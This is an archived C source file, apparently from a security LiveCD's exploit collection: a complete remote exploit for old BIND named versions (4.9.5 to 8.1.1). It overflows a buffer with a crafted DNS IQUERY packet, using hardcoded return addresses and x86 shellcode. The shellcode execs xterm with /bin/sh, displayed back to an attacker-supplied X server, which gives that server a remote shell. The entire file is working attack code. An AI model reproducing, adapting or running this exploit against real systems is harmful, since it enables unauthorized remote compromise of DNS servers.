home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dns / bind / bind4.9.5.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  7.1 KB  |  274 lines
  1. /*
  2.  * z, thnx.
  3.  * ganked the xterm exec from adm, thnx.
  4.  * have fun.
  5.  * -prym
  6.  */
  7.  
  8. #include <unistd.h>
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <signal.h>
  12. #include <time.h>
  13. #include <string.h>
  14. #include <ctype.h>
  15. #include <sys/types.h>
  16. #include <sys/socket.h>
  17. #include <netinet/in.h>
  18. #include <arpa/inet.h>
  19. #include <arpa/nameser.h>
  20. #include <netdb.h>
  21.  
  22. #define REMOTE
  23. #define DEFAULT_ANBUF_OFFSET 300
  24. #define DEFAULT_TARGET 0
  25. #define DEFAULT_OPTIMIZED 0
  26. #define DLEN_VAL 4
  27. #define PRE_OF_DATALEN (1+(sizeof(short)*3)+sizeof(long))
  28. #define ALEN_VAL (DLEN_VAL+PRE_OF_DATALEN)
  29. #define EVILSPACE (PACKETSZ-PRE_OF_DATALEN)
  30. #define RET_FROM_1NOP (PACKETSZ+(MAXDNAME+3)+(sizeof(int)*6)+4-PRE_OF_DATALEN)
  31. #define OPT_RET_FROM_1NOP (PACKETSZ+(MAXDNAME+3)+4-PRE_OF_DATALEN)
  32.  
  33. struct target_type
  34.   {
  35.     char desc[40];
  36.     int systype;
  37.     unsigned long addr;
  38.     unsigned long opt_addr;
  39.   };
  40.  
  41. struct target_type target[] =
  42.     {
  43.       {"x86 Linux 2.0.x named 4.9.5-P1",0,0xbfffef8c,0xbfffefb4
  44.       },
  45.       {"x86 Linux 2.0.x named 4.9.6-REL",0,0xbffff188,0xbffff194},
  46.       {"x86 Linux 2.0.x named 8.1-REL",0,0xbffff3f0,0xbffff44c},
  47.       {"x86 Linux 2.0.x named 8.1.1",0,0xbffff404,0xbffff45c},
  48.       {"x86 Linux 2.0.x RH 4.2 named 4.9.5-P1",0,0,0xbfffeff8},
  49.       {{0},0,0,0}
  50.     };
  51.  
  52. unsigned long resolve(char *host)
  53. {
  54.   long i;
  55.   struct hostent *he;
  56.  
  57.   if((i=inet_addr(host))<0)
  58.     if((he=gethostbyname(host))==NULL)
  59.       return(0);
  60.     else
  61.       return(*(unsigned long *)he->h_addr);
  62.  
  63.   return(i);
  64. }
  65.  
  66. int send_packet(int fd, char *buff, int len)
  67. {
  68.   char tmp[2], *ptr=tmp;
  69.  
  70.   PUTSHORT(len,ptr);
  71.   if(write(fd,tmp,2)!=2)
  72.     return(-1);
  73.  
  74.   if(write(fd,buff,len)!=len)
  75.     return(-1);
  76.  
  77.   return(1);
  78. }
  79.  
  80. int attack(int fd, struct in_addr us, struct target_type t,
  81.            unsigned long offset, int optimized)
  82. {
  83.   char buff[sizeof(HEADER)+PRE_OF_DATALEN+RET_FROM_1NOP+4], *ptr=buff;
  84.   HEADER *dnsh=(HEADER *)buff;
  85.   unsigned long i;
  86.   int dlen, len=0, al=ALEN_VAL, dl=DLEN_VAL;
  87.  
  88.   memset(dnsh,0,sizeof(HEADER));
  89.   dnsh->id = htons(31337);
  90.   dnsh->opcode = IQUERY;
  91.   dnsh->rd = 1;
  92.   dnsh->ra = 1;
  93.   dnsh->ancount = htons(1);
  94.   ptr += sizeof(HEADER);
  95.   len += sizeof(HEADER);
  96.  
  97.   *ptr = '\0';
  98.   ptr++;
  99.   PUTSHORT(T_A,ptr);
  100.   PUTSHORT(C_IN,ptr);
  101.   PUTLONG(31337,ptr);
  102.   dlen = (optimized?OPT_RET_FROM_1NOP:RET_FROM_1NOP)+4;
  103.   PUTSHORT(dlen,ptr);
  104.   len += PRE_OF_DATALEN;
  105.  
  106.   memset(ptr,'X',(sizeof(buff)-(ptr-buff)));
  107.  
  108.   if(t.systype==0)
  109.     {
  110. #ifdef REMOTE
  111.       char c1[] =
  112.         "\xeb\x2f\x5f\xeb\x4a\x5e\x89\xfb\x89\x3e\x89\xf2\xb0\xfe\xae\x74"
  113.         "\x14\x46\x46\x46\x46\x4f\x31\xc9\x49\xb0\xff\xf2\xae\x30\xc0\x4f"
  114.         "\xaa\x89\x3e\xeb\xe7\x31\xc0\x89\x06\x89\xd1\x31\xd2\xb0\x0b\xcd"
  115.         "\x80\xe8\xcc\xff\xff\xff";
  116.       char c2[] =
  117.         "/usr/bin/X11/xterm\xff-display\xff";
  118.       char c3[32];
  119.       char c4[] =
  120.         "\xfe\xe8\xb1\xff\xff\xff";
  121.  
  122.       snprintf(c3,sizeof(c3),"%s:0\xff-e\xff/bin/sh\xff",inet_ntoa(us));
  123.  
  124.       c1[4] = (unsigned char)0x32+strlen(c2)+strlen(c3);
  125.       c4[2] = (unsigned char)0xc9-strlen(c2)-strlen(c3);
  126.  
  127.       i = EVILSPACE-strlen(c1)-strlen(c2)-strlen(c3)-strlen(c4);
  128.  
  129.       memset(ptr,0x90,i);
  130.       memcpy((ptr+i),c1,strlen(c1));
  131.       memcpy((ptr+i+strlen(c1)),c2,strlen(c2));
  132.       memcpy((ptr+i+strlen(c1)+strlen(c2)),c3,strlen(c3));
  133.       memcpy((ptr+i+strlen(c1)+strlen(c2)+strlen(c3)),c4,strlen(c4));
  134. #else
  135. char c0de[] =
  136.       "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  137.       "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  138.       "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/hi";
  139.       int i = EVILSPACE-strlen(c0de);
  140.  
  141.       memset(ptr,0x90,i);
  142.       memcpy((ptr+i),c0de,strlen(c0de));
  143. #endif
  144.     }
  145.   else
  146.     return(0);
  147.  
  148.   if(!optimized)
  149.     {
  150.       memcpy((ptr+(dlen-16)),&al,sizeof(al));
  151.       memcpy((ptr+(dlen-12)),&dl,sizeof(dl));
  152.     }
  153.  
  154.   i = (optimized?t.opt_addr:t.addr)+offset;
  155.   memcpy((ptr+(dlen-4)),&i,sizeof(i));
  156.   len += dlen;
  157.  
  158.   return(send_packet(fd,buff,len));
  159. }
  160.  
  161. int main(int argc, char *argv[])
  162. {
  163.   unsigned long offset=DEFAULT_ANBUF_OFFSET;
  164.   int target_index=DEFAULT_TARGET, optimized=DEFAULT_OPTIMIZED, sock, i;
  165.   struct sockaddr_in sa;
  166.   struct in_addr xs;
  167.  
  168.   for(i=0;target[i].desc[0];i++);
  169.  
  170.   if(argc<3)
  171.     {
  172.       fprintf(stderr,"\ntarget types:\n");
  173.       fprintf(stderr," %-2s : %-12s - %-12s - %s\n","tt","anbuf","opt anbuf",
  174.               "description");
  175.       for(target_index=0;target_index<i;target_index++)
  176.         fprintf(stderr," %-2d : 0x%-10x - 0x%-10x - %s\n",target_index,
  177.                 (unsigned int)target[target_index].addr,
  178.                 (unsigned int)target[target_index].opt_addr,
  179.                 target[target_index].desc);
  180.       fprintf(stderr,
  181.               "\nerror: usage: %s <target> <X server> [tt] [opt] [offset]\n",
  182.               argv[0]);
  183.       exit(-1);
  184.     }
  185.  
  186.   if((argc>3)&&((target_index=atoi(argv[3]))>=i))
  187.     {
  188.       fprintf(stderr,"error: invalid target type %d\n",target_index);
  189.       exit(-1);
  190.     }
  191.  
  192.   if((target[target_index].addr==0)&&(target[target_index].opt_addr==0))
  193.     {
  194.       fprintf(stderr,"error: internal error\n");
  195.       exit(-1);
  196.     }
  197.  
  198.   if(argc>4)
  199.     {
  200.       optimized = atoi(argv[4]);
  201.       if((optimized!=0)&&(optimized!=1))
  202.         {
  203.           fprintf(stderr,"error: invalid optimization setting %d\n",optimized);
  204.           exit(-1);
  205.         }
  206.     }
  207.  
  208.   if((optimized==0)&&(target[target_index].addr==0))
  209.     optimized = 1;
  210.  
  211.   if((optimized==1)&&(target[target_index].opt_addr==0))
  212.     optimized = 0;
  213.  
  214.   if(argc>5)
  215.     offset = atoi(argv[5]);
  216.  
  217.   if(!(xs.s_addr=resolve(argv[2])))
  218.     {
  219.       fprintf(stderr,"error: can not resolve: %s\n",argv[2]);
  220.       exit(-1);
  221.     }
  222.  
  223.   if(!(sa.sin_addr.s_addr=resolve(argv[1])))
  224.     {
  225.       fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
  226.       exit(-1);
  227.     }
  228.  
  229.   sa.sin_family = AF_INET;
  230.   sa.sin_port = htons(53);
  231.  
  232.   if((sock=socket(sa.sin_family,SOCK_STREAM,IPPROTO_TCP))==(-1))
  233.     {
  234.       perror("error: socket");
  235.       exit(-1);
  236.     }
  237.  
  238.   if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))==(-1))
  239.     {
  240.       perror("error: connect");
  241.       exit(-1);
  242.     }
  243.  
  244.   printf("target             : %s\n",inet_ntoa(sa.sin_addr));
  245.   printf("target type        : %s\n",target[target_index].desc);
  246.   printf("optimized named    : %s\n",(optimized?"YES":"NO"));
  247.   printf("anbuff addr        : 0x%x\n",(unsigned int)
  248.          (optimized?target[target_index].opt_addr:target[target_index].addr));
  249.   printf("anbuff addr offset : %lu\n",offset);
  250.   printf("xterm display dest : %s:0\n",inet_ntoa(xs));
  251.   printf("exploiting . . .\n");
  252.  
  253.   switch(attack(sock,xs,target[target_index],offset,optimized))
  254.     {
  255.     case -1:
  256.       perror("error: attack");
  257.       return(-1);
  258.       break;
  259.  
  260.     case 0:
  261.       fprintf(stderr,"error: internal error\n");
  262.       return(-1);
  263.       break;
  264.     }
  265.  
  266.   if(close(sock)!=0)
  267.     {
  268.       perror("error: close");
  269.       return(-1);
  270.     }
  271.  
  272.   exit(0);
  273. }
  274. /*                    www.hack.co.za              [2000]*/